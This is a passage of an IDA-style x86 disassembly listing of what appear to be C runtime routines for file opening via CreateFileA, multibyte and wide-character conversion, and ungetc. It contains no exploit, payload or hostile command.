arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	[ebp+var_24], 0Ch
		mov	[ebp+var_20], 0
		mov	eax, [ebp+arg_4]
		and	eax, 80h
		test	eax, eax
		jz	short loc_42E33D
		mov	[ebp+var_1C], 0
		mov	[ebp+var_38], 10h
		jmp	short loc_42E348
; ---------------------------------------------------------------------------


loc_42E33D:				; CODE XREF: sub_42E310+1Ej
		mov	[ebp+var_1C], 1
		mov	[ebp+var_38], 0


loc_42E348:				; CODE XREF: sub_42E310+2Bj
		mov	ecx, [ebp+arg_4]
		and	ecx, 8000h
		test	ecx, ecx
		jnz	short loc_42E381
		mov	edx, [ebp+arg_4]
		and	edx, 4000h
		test	edx, edx
		jz	short loc_42E36C
		mov	al, [ebp+var_38]
		or	al, 80h
		mov	[ebp+var_38], al
		jmp	short loc_42E381
; ---------------------------------------------------------------------------


loc_42E36C:				; CODE XREF: sub_42E310+50j
		cmp	ds:dword_4EECE4, 8000h
		jz	short loc_42E381
		mov	cl, [ebp+var_38]
		or	cl, 80h
		mov	[ebp+var_38], cl


loc_42E381:				; CODE XREF: sub_42E310+43j
					; sub_42E310+5Aj ...
		mov	edx, [ebp+arg_4]
		and	edx, 3
		mov	[ebp+var_40], edx
		cmp	[ebp+var_40], 0
		jz	short loc_42E39E
		cmp	[ebp+var_40], 1
		jz	short loc_42E3A7
		cmp	[ebp+var_40], 2
		jz	short loc_42E3B0
		jmp	short loc_42E3B9
; ---------------------------------------------------------------------------


loc_42E39E:				; CODE XREF: sub_42E310+7Ej
		mov	[ebp+var_34], 80000000h
		jmp	short loc_42E3D7
; ---------------------------------------------------------------------------


loc_42E3A7:				; CODE XREF: sub_42E310+84j
		mov	[ebp+var_34], 40000000h
		jmp	short loc_42E3D7
; ---------------------------------------------------------------------------


loc_42E3B0:				; CODE XREF: sub_42E310+8Aj
		mov	[ebp+var_34], 0C0000000h
		jmp	short loc_42E3D7
; ---------------------------------------------------------------------------


loc_42E3B9:				; CODE XREF: sub_42E310+8Cj
		call	sub_4267E0
		mov	dword ptr [eax], 16h
		call	sub_4267F0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_42E81A
; ---------------------------------------------------------------------------


loc_42E3D7:				; CODE XREF: sub_42E310+95j
					; sub_42E310+9Ej ...
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		mov	ecx, [ebp+var_44]
		sub	ecx, 10h
		mov	[ebp+var_44], ecx
		cmp	[ebp+var_44], 30h
		ja	short loc_42E422
		mov	eax, [ebp+var_44]
		xor	edx, edx
		mov	dl, ds:byte_42E832[eax]
		jmp	ds:off_42E81E[edx*4]


loc_42E3FE:				; DATA XREF: seg000:off_42E81Eo
		mov	[ebp+var_8], 0
		jmp	short loc_42E440
; ---------------------------------------------------------------------------


loc_42E407:				; CODE XREF: sub_42E310+E7j
					; DATA XREF: seg000:0042E822o
		mov	[ebp+var_8], 1
		jmp	short loc_42E440
; ---------------------------------------------------------------------------


loc_42E410:				; CODE XREF: sub_42E310+E7j
					; DATA XREF: seg000:0042E826o
		mov	[ebp+var_8], 2
		jmp	short loc_42E440
; ---------------------------------------------------------------------------


loc_42E419:				; CODE XREF: sub_42E310+E7j
					; DATA XREF: seg000:0042E82Ao
		mov	[ebp+var_8], 3
		jmp	short loc_42E440
; ---------------------------------------------------------------------------


loc_42E422:				; CODE XREF: sub_42E310+DAj
					; sub_42E310+E7j
					; DATA XREF: ...
		call	sub_4267E0
		mov	dword ptr [eax], 16h
		call	sub_4267F0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_42E81A
; ---------------------------------------------------------------------------


loc_42E440:				; CODE XREF: sub_42E310+F5j
					; sub_42E310+FEj ...
		mov	ecx, [ebp+arg_4]
		and	ecx, 700h
		mov	[ebp+var_48], ecx
		cmp	[ebp+var_48], 400h
		jg	short loc_42E48C
		cmp	[ebp+var_48], 400h
		jz	short loc_42E4A9
		cmp	[ebp+var_48], 200h
		jg	short loc_42E481
		cmp	[ebp+var_48], 200h
		jz	short loc_42E4C4
		cmp	[ebp+var_48], 0
		jz	short loc_42E4A9
		cmp	[ebp+var_48], 100h
		jz	short loc_42E4B2
		jmp	short loc_42E4D6
; ---------------------------------------------------------------------------


loc_42E481:				; CODE XREF: sub_42E310+155j
		cmp	[ebp+var_48], 300h
		jz	short loc_42E4CD
		jmp	short loc_42E4D6
; ---------------------------------------------------------------------------


loc_42E48C:				; CODE XREF: sub_42E310+143j
		cmp	[ebp+var_48], 500h
		jz	short loc_42E4BB
		cmp	[ebp+var_48], 600h
		jz	short loc_42E4C4
		cmp	[ebp+var_48], 700h
		jz	short loc_42E4BB
		jmp	short loc_42E4D6
; ---------------------------------------------------------------------------


loc_42E4A9:				; CODE XREF: sub_42E310+14Cj
					; sub_42E310+164j
		mov	[ebp+var_18], 3
		jmp	short loc_42E4F4
; ---------------------------------------------------------------------------


loc_42E4B2:				; CODE XREF: sub_42E310+16Dj
		mov	[ebp+var_18], 4
		jmp	short loc_42E4F4
; ---------------------------------------------------------------------------


loc_42E4BB:				; CODE XREF: sub_42E310+183j
					; sub_42E310+195j
		mov	[ebp+var_18], 1
		jmp	short loc_42E4F4
; ---------------------------------------------------------------------------


loc_42E4C4:				; CODE XREF: sub_42E310+15Ej
					; sub_42E310+18Cj
		mov	[ebp+var_18], 5
		jmp	short loc_42E4F4
; ---------------------------------------------------------------------------


loc_42E4CD:				; CODE XREF: sub_42E310+178j
		mov	[ebp+var_18], 2
		jmp	short loc_42E4F4
; ---------------------------------------------------------------------------


loc_42E4D6:				; CODE XREF: sub_42E310+16Fj
					; sub_42E310+17Aj ...
		call	sub_4267E0
		mov	dword ptr [eax], 16h
		call	sub_4267F0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_42E81A
; ---------------------------------------------------------------------------


loc_42E4F4:				; CODE XREF: sub_42E310+1A0j
					; sub_42E310+1A9j ...
		mov	[ebp+var_28], 80h
		mov	edx, [ebp+arg_4]
		and	edx, 100h
		test	edx, edx
		jz	short loc_42E545
		lea	eax, [ebp+arg_C]
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+var_2C]
		add	ecx, 4
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_2C]
		mov	eax, [edx-4]
		mov	[ebp+var_10], eax
		mov	[ebp+var_2C], 0
		mov	ecx, ds:dword_4EE968
		not	ecx
		mov	edx, [ebp+var_10]
		and	edx, ecx
		and	edx, 80h
		test	edx, edx
		jnz	short loc_42E545
		mov	[ebp+var_28], 1


loc_42E545:				; CODE XREF: sub_42E310+1F6j
					; sub_42E310+22Cj
		mov	eax, [ebp+arg_4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_42E567
		mov	ecx, [ebp+var_28]
		or	ecx, 4000000h
		mov	[ebp+var_28], ecx
		mov	edx, [ebp+var_34]
		or	edx, 10000h
		mov	[ebp+var_34], edx


loc_42E567:				; CODE XREF: sub_42E310+23Dj
		mov	eax, [ebp+arg_4]
		and	eax, 1000h
		test	eax, eax
		jz	short loc_42E57C
		mov	ecx, [ebp+var_28]
		or	ch, 1
		mov	[ebp+var_28], ecx


loc_42E57C:				; CODE XREF: sub_42E310+261j
		mov	edx, [ebp+arg_4]
		and	edx, 20h
		test	edx, edx
		jz	short loc_42E593
		mov	eax, [ebp+var_28]
		or	eax, 8000000h
		mov	[ebp+var_28], eax
		jmp	short loc_42E5A9
; ---------------------------------------------------------------------------


loc_42E593:				; CODE XREF: sub_42E310+274j
		mov	ecx, [ebp+arg_4]
		and	ecx, 10h
		test	ecx, ecx
		jz	short loc_42E5A9
		mov	edx, [ebp+var_28]
		or	edx, 10000000h
		mov	[ebp+var_28], edx


loc_42E5A9:				; CODE XREF: sub_42E310+281j
					; sub_42E310+28Bj
		call	sub_42D680
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_42E5D5
		call	sub_4267E0
		mov	dword ptr [eax], 18h
		call	sub_4267F0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_42E81A
; ---------------------------------------------------------------------------


loc_42E5D5:				; CODE XREF: sub_42E310+2A5j
		push	0
		mov	eax, [ebp+var_28]
		push	eax
		mov	ecx, [ebp+var_18]
		push	ecx
		lea	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+var_34]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	ds:dword_4F1380	; CreateFileA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_42E621
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		call	sub_426740
		add	esp, 4
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_42DC20
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_42E81A
; ---------------------------------------------------------------------------


loc_42E621:				; CODE XREF: sub_42E310+2ECj
		mov	ecx, [ebp+var_4]
		push	ecx
		call	near ptr 3D0000h
		xchg	eax, ebx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_42E661
		mov	edx, [ebp+var_4]
		push	edx
		call	ds:dword_4F12FC	; CloseHandle
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		call	sub_426740
		add	esp, 4
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_42DC20
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_42E81A
; ---------------------------------------------------------------------------


loc_42E661:				; CODE XREF: sub_42E310+322j
		cmp	[ebp+var_C], 2
		jnz	short loc_42E672
		mov	cl, [ebp+var_38]
		or	cl, 40h
		mov	[ebp+var_38], cl
		jmp	short loc_42E681
; ---------------------------------------------------------------------------


loc_42E672:				; CODE XREF: sub_42E310+355j
		cmp	[ebp+var_C], 3
		jnz	short loc_42E681
		mov	dl, [ebp+var_38]
		or	dl, 8
		mov	[ebp+var_38], dl


loc_42E681:				; CODE XREF: sub_42E310+360j
					; sub_42E310+366j
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_14]
		push	ecx
		call	loc_42D870
		add	esp, 8
		mov	dl, [ebp+var_38]
		or	dl, 1
		mov	[ebp+var_38], dl
		mov	eax, [ebp+var_14]
		sar	eax, 5
		mov	ecx, [ebp+var_14]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, ds:dword_4EED20[eax*4]
		mov	al, [ebp+var_38]
		mov	[edx+ecx+4], al
		movsx	ecx, [ebp+var_38]
		and	ecx, 48h
		test	ecx, ecx
		jnz	loc_42E7BF
		movsx	edx, [ebp+var_38]
		and	edx, 80h
		test	edx, edx
		jz	loc_42E7BF
		mov	eax, [ebp+arg_4]
		and	eax, 2
		test	eax, eax
		jz	loc_42E7BF
		push	2
		push	0FFFFFFFFh
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_42B770
		add	esp, 0Ch
		mov	[ebp+var_3C], eax
		cmp	[ebp+var_3C], 0FFFFFFFFh
		jnz	short loc_42E731
		call	sub_4267F0
		cmp	dword ptr [eax], 83h
		jz	short loc_42E72C
		mov	edx, [ebp+var_14]
		push	edx
		call	sub_4214B0
		add	esp, 4
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_42DC20
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_42E81A
; ---------------------------------------------------------------------------


loc_42E72C:				; CODE XREF: sub_42E310+3FAj
		jmp	loc_42E7BF
; ---------------------------------------------------------------------------


loc_42E731:				; CODE XREF: sub_42E310+3EDj
		mov	[ebp+var_30], 0
		push	1
		lea	ecx, [ebp+var_30]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		call	sub_4240D0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E789
		movsx	eax, [ebp+var_30]
		cmp	eax, 1Ah
		jnz	short loc_42E789
		mov	ecx, [ebp+var_3C]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		call	sub_432CF0
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42E789
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_4214B0
		add	esp, 4
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_42DC20
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_42E81A
; ---------------------------------------------------------------------------


loc_42E789:				; CODE XREF: sub_42E310+439j
					; sub_42E310+442j ...
		push	0
		push	0
		mov	edx, [ebp+var_14]
		push	edx
		call	sub_42B770
		add	esp, 0Ch
		mov	[ebp+var_3C], eax
		cmp	[ebp+var_3C], 0FFFFFFFFh
		jnz	short loc_42E7BF
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_4214B0
		add	esp, 4
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_42DC20
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_42E81A
; ---------------------------------------------------------------------------


loc_42E7BF:				; CODE XREF: sub_42E310+3B0j
					; sub_42E310+3C2j ...
		movsx	edx, [ebp+var_38]
		and	edx, 48h
		test	edx, edx
		jnz	short loc_42E80B
		mov	eax, [ebp+arg_4]
		and	eax, 8
		test	eax, eax
		jz	short loc_42E80B
		mov	ecx, [ebp+var_14]
		sar	ecx, 5
		mov	edx, [ebp+var_14]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, ds:dword_4EED20[ecx*4]
		mov	cl, [eax+edx+4]
		or	cl, 20h
		mov	edx, [ebp+var_14]
		sar	edx, 5
		mov	eax, [ebp+var_14]
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ds:dword_4EED20[edx*4]
		mov	[edx+eax+4], cl


loc_42E80B:				; CODE XREF: sub_42E310+4B8j
					; sub_42E310+4C2j
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_42DC20
		add	esp, 4
		mov	eax, [ebp+var_14]


loc_42E81A:				; CODE XREF: sub_42E310+C2j
					; sub_42E310+12Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42E310	endp

; ---------------------------------------------------------------------------
off_42E81E	dd offset loc_42E3FE	; DATA XREF: sub_42E310+E7r
		dd offset loc_42E407
		dd offset loc_42E410
		dd offset loc_42E419
		dd offset loc_42E422
byte_42E832	db 0			; DATA XREF: sub_42E310+E1r
		db 4
		dd 3 dup(4040404h), 4010404h, 3	dup(4040404h), 4020404h
		dd 3 dup(4040404h), 0CC030404h,	3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E870	proc near		; CODE XREF: sub_424A30+127p
					; sub_4269E0+40p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	eax, ds:dword_4EEE20
		jb	short loc_42E882
		xor	eax, eax
		jmp	short loc_42E8A0
; ---------------------------------------------------------------------------


loc_42E882:				; CODE XREF: sub_42E870+Cj
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, ds:dword_4EED20[ecx*4]
		movsx	eax, byte ptr [eax+edx+4]
		and	eax, 40h


loc_42E8A0:				; CODE XREF: sub_42E870+10j
		pop	ebp
		retn
sub_42E870	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E8B0	proc near		; CODE XREF: sub_424CB0+3CAp
					; sub_424CB0+B90p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	offset dword_4EED14
		call	ds:dword_4F1428	; InterlockedIncrement
		cmp	ds:dword_4EED10, 0
		jz	short loc_42E8E8
		push	offset dword_4EED14
		call	ds:dword_4F1424	; InterlockedDecrement
		push	13h
		call	sub_421A80
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_42E8EF
; ---------------------------------------------------------------------------


loc_42E8E8:				; CODE XREF: sub_42E8B0+18j
		mov	[ebp+var_4], 0


loc_42E8EF:				; CODE XREF: sub_42E8B0+36j
		mov	ax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42E930
		add	esp, 8
		mov	[ebp+var_8], eax
		cmp	[ebp+var_4], 0
		jz	short loc_42E915
		push	13h
		call	sub_421B20
		add	esp, 4
		jmp	short loc_42E920
; ---------------------------------------------------------------------------


loc_42E915:				; CODE XREF: sub_42E8B0+57j
		push	offset dword_4EED14
		call	ds:dword_4F1424	; InterlockedDecrement


loc_42E920:				; CODE XREF: sub_42E8B0+63j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_42E8B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E930	proc near		; CODE XREF: sub_42E8B0+48p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	[ebp+arg_0], 0
		jnz	short loc_42E943
		xor	eax, eax
		jmp	loc_42E9CC
; ---------------------------------------------------------------------------


loc_42E943:				; CODE XREF: sub_42E930+Aj
		cmp	ds:dword_4EEA70, 0
		jnz	short loc_42E97A
		mov	eax, [ebp+arg_4]
		and	eax, 0FFFFh
		cmp	eax, 0FFh
		jle	short loc_42E96B
		call	sub_4267E0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_42E9CC
; ---------------------------------------------------------------------------


loc_42E96B:				; CODE XREF: sub_42E930+29j
		mov	ecx, [ebp+arg_0]
		mov	dl, byte ptr [ebp+arg_4]
		mov	[ecx], dl
		mov	eax, 1
		jmp	short loc_42E9CC
; ---------------------------------------------------------------------------


loc_42E97A:				; CODE XREF: sub_42E930+1Aj
		mov	[ebp+var_8], 0
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		mov	ecx, ds:dword_44FD20
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	1
		lea	eax, [ebp+arg_4]
		push	eax
		push	220h
		mov	ecx, ds:dword_4EEA80
		push	ecx
		call	ds:dword_4F1384	; WideCharToMultiByte
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_42E9B9
		cmp	[ebp+var_8], 0
		jz	short loc_42E9C9


loc_42E9B9:				; CODE XREF: sub_42E930+81j
		call	sub_4267E0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_42E9CC
; ---------------------------------------------------------------------------


loc_42E9C9:				; CODE XREF: sub_42E930+87j
		mov	eax, [ebp+var_4]


loc_42E9CC:				; CODE XREF: sub_42E930+Ej
					; sub_42E930+39j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42E930	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E9D0	proc near		; CODE XREF: sub_426BE0+74Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	offset dword_4EED14
		call	ds:dword_4F1428	; InterlockedIncrement
		cmp	ds:dword_4EED10, 0
		jz	short loc_42EA08
		push	offset dword_4EED14
		call	ds:dword_4F1424	; InterlockedDecrement
		push	13h
		call	sub_421A80
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_42EA0F
; ---------------------------------------------------------------------------


loc_42EA08:				; CODE XREF: sub_42E9D0+18j
		mov	[ebp+var_4], 0


loc_42EA0F:				; CODE XREF: sub_42E9D0+36j
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42EA50
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_4], 0
		jz	short loc_42EA38
		push	13h
		call	sub_421B20
		add	esp, 4
		jmp	short loc_42EA43
; ---------------------------------------------------------------------------


loc_42EA38:				; CODE XREF: sub_42E9D0+5Aj
		push	offset dword_4EED14
		call	ds:dword_4F1424	; InterlockedDecrement


loc_42EA43:				; CODE XREF: sub_42E9D0+66j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_42E9D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EA50	proc near		; CODE XREF: sub_42E9D0+4Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi


loc_42EA56:				; CODE XREF: sub_42EA50+3Aj
		cmp	ds:dword_44FD20, 1
		jz	short loc_42EA86
		cmp	ds:dword_44FD20, 2
		jz	short loc_42EA86
		push	offset aMb_cur_max1Mb_ ; "MB_CUR_MAX ==	1 || MB_CUR_MAX	== 2"
		push	0
		push	4Fh
		push	offset dword_43A618
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42EA86
		int	3		; Trap to Debugger


loc_42EA86:				; CODE XREF: sub_42EA50+Dj
					; sub_42EA50+16j ...
		xor	eax, eax
		test	eax, eax
		jnz	short loc_42EA56
		cmp	[ebp+arg_4], 0
		jz	short loc_42EA98
		cmp	[ebp+arg_8], 0
		jnz	short loc_42EA9F


loc_42EA98:				; CODE XREF: sub_42EA50+40j
		xor	eax, eax
		jmp	loc_42EBA9
; ---------------------------------------------------------------------------


loc_42EA9F:				; CODE XREF: sub_42EA50+46j
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_42EABE
		cmp	[ebp+arg_0], 0
		jz	short loc_42EAB7
		mov	eax, [ebp+arg_0]
		mov	word ptr [eax],	0


loc_42EAB7:				; CODE XREF: sub_42EA50+5Dj
		xor	eax, eax
		jmp	loc_42EBA9
; ---------------------------------------------------------------------------


loc_42EABE:				; CODE XREF: sub_42EA50+57j
		cmp	ds:dword_4EEA70, 0
		jnz	short loc_42EAE4
		cmp	[ebp+arg_0], 0
		jz	short loc_42EADA
		mov	ecx, [ebp+arg_4]
		movzx	dx, byte ptr [ecx]
		mov	eax, [ebp+arg_0]
		mov	[eax], dx


loc_42EADA:				; CODE XREF: sub_42EA50+7Bj
		mov	eax, 1
		jmp	loc_42EBA9
; ---------------------------------------------------------------------------


loc_42EAE4:				; CODE XREF: sub_42EA50+75j
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, ds:off_44FE2C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_42EB6D
		cmp	ds:dword_44FD20, 1
		jle	short loc_42EB40
		mov	edx, [ebp+arg_8]
		cmp	edx, ds:dword_44FD20
		jl	short loc_42EB40
		xor	eax, eax
		cmp	[ebp+arg_0], 0
		setnz	al
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, ds:dword_44FD20
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		push	9
		mov	ecx, ds:dword_4EEA80
		push	ecx
		call	ds:dword_4F1370	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_42EB66


loc_42EB40:				; CODE XREF: sub_42EA50+B7j
					; sub_42EA50+C2j
		mov	edx, [ebp+arg_8]
		cmp	edx, ds:dword_44FD20
		jb	short loc_42EB56
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax+1]
		test	ecx, ecx
		jnz	short loc_42EB66


loc_42EB56:				; CODE XREF: sub_42EA50+F9j
		call	sub_4267E0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_42EBA9
; ---------------------------------------------------------------------------


loc_42EB66:				; CODE XREF: sub_42EA50+EEj
					; sub_42EA50+104j
		mov	eax, ds:dword_44FD20
		jmp	short loc_42EBA9
; ---------------------------------------------------------------------------


loc_42EB6D:				; CODE XREF: sub_42EA50+AEj
		xor	edx, edx
		cmp	[ebp+arg_0], 0
		setnz	dl
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		push	1
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	9
		mov	edx, ds:dword_4EEA80
		push	edx
		call	ds:dword_4F1370	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_42EBA4
		call	sub_4267E0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_42EBA9
; ---------------------------------------------------------------------------


loc_42EBA4:				; CODE XREF: sub_42EA50+142j
		mov	eax, 1


loc_42EBA9:				; CODE XREF: sub_42EA50+4Aj
					; sub_42EA50+69j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42EA50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_42EBB0	proc near		; CODE XREF: sub_426BE0+9D7p
					; sub_426BE0+A65p ...
		cmp	cl, 40h
		jnb	short loc_42EBCA
		cmp	cl, 20h
		jnb	short loc_42EBC0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_42EBC0:				; CODE XREF: sub_42EBB0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_42EBCA:				; CODE XREF: sub_42EBB0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_42EBB0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_42EBD7:				; CODE XREF: seg000:0042EBFFj
		cmp	dword ptr [ebp+0Ch], 0
		jnz	short loc_42EBFB
		push	offset dword_4394EC
		push	0
		push	31h
		push	offset aUngetc_c ; "ungetc.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42EBFB
		int	3		; Trap to Debugger


loc_42EBFB:				; CODE XREF: seg000:0042EBDBj
					; seg000:0042EBF8j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_42EBD7
		mov	ecx, [ebp+0Ch]
		push	ecx
		call	sub_41F070
		add	esp, 4
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_42EC40
		add	esp, 8
		mov	[ebp-4], eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		call	sub_41F0E0
		add	esp, 4
		mov	eax, [ebp-4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EC40	proc near		; CODE XREF: sub_428080+11p
					; seg000:0042EC15p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_42EC47:				; CODE XREF: sub_42EC40+2Fj
		cmp	[ebp+arg_4], 0
		jnz	short loc_42EC6B
		push	offset dword_4394FC
		push	0
		push	60h
		push	offset aUngetc_c ; "ungetc.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42EC6B
		int	3		; Trap to Debugger


loc_42EC6B:				; CODE XREF: sub_42EC40+Bj
					; sub_42EC40+28j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_42EC47
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_42ECA7
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 1
		test	eax, eax
		jnz	short loc_42ECAF
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 80h
		test	edx, edx
		jz	short loc_42ECA7
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_42ECAF


loc_42ECA7:				; CODE XREF: sub_42EC40+3Bj
					; sub_42EC40+58j
		or	eax, 0FFFFFFFFh
		jmp	loc_42ED77
; ---------------------------------------------------------------------------


loc_42ECAF:				; CODE XREF: sub_42EC40+48j
					; sub_42EC40+65j
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+8], 0
		jnz	short loc_42ECC4
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_42E200
		add	esp, 4


loc_42ECC4:				; CODE XREF: sub_42EC40+76j
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	eax, [ecx]
		cmp	eax, [edx+8]
		jnz	short loc_42ECEF
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+4], 0
		jz	short loc_42ECE2
		or	eax, 0FFFFFFFFh
		jmp	loc_42ED77
; ---------------------------------------------------------------------------


loc_42ECE2:				; CODE XREF: sub_42EC40+98j
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax


loc_42ECEF:				; CODE XREF: sub_42EC40+8Fj
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 40h
		test	eax, eax
		jz	short loc_42ED2D
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+var_4]
		mov	[eax], edx
